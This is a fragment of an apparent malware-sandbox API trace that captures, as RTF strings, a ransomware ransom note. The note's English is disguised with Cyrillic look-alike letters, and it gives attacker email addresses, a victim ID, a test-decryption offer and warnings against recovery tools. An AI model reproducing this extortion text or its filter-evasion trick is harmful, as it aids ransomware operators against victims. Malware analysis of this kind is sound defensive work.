is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r 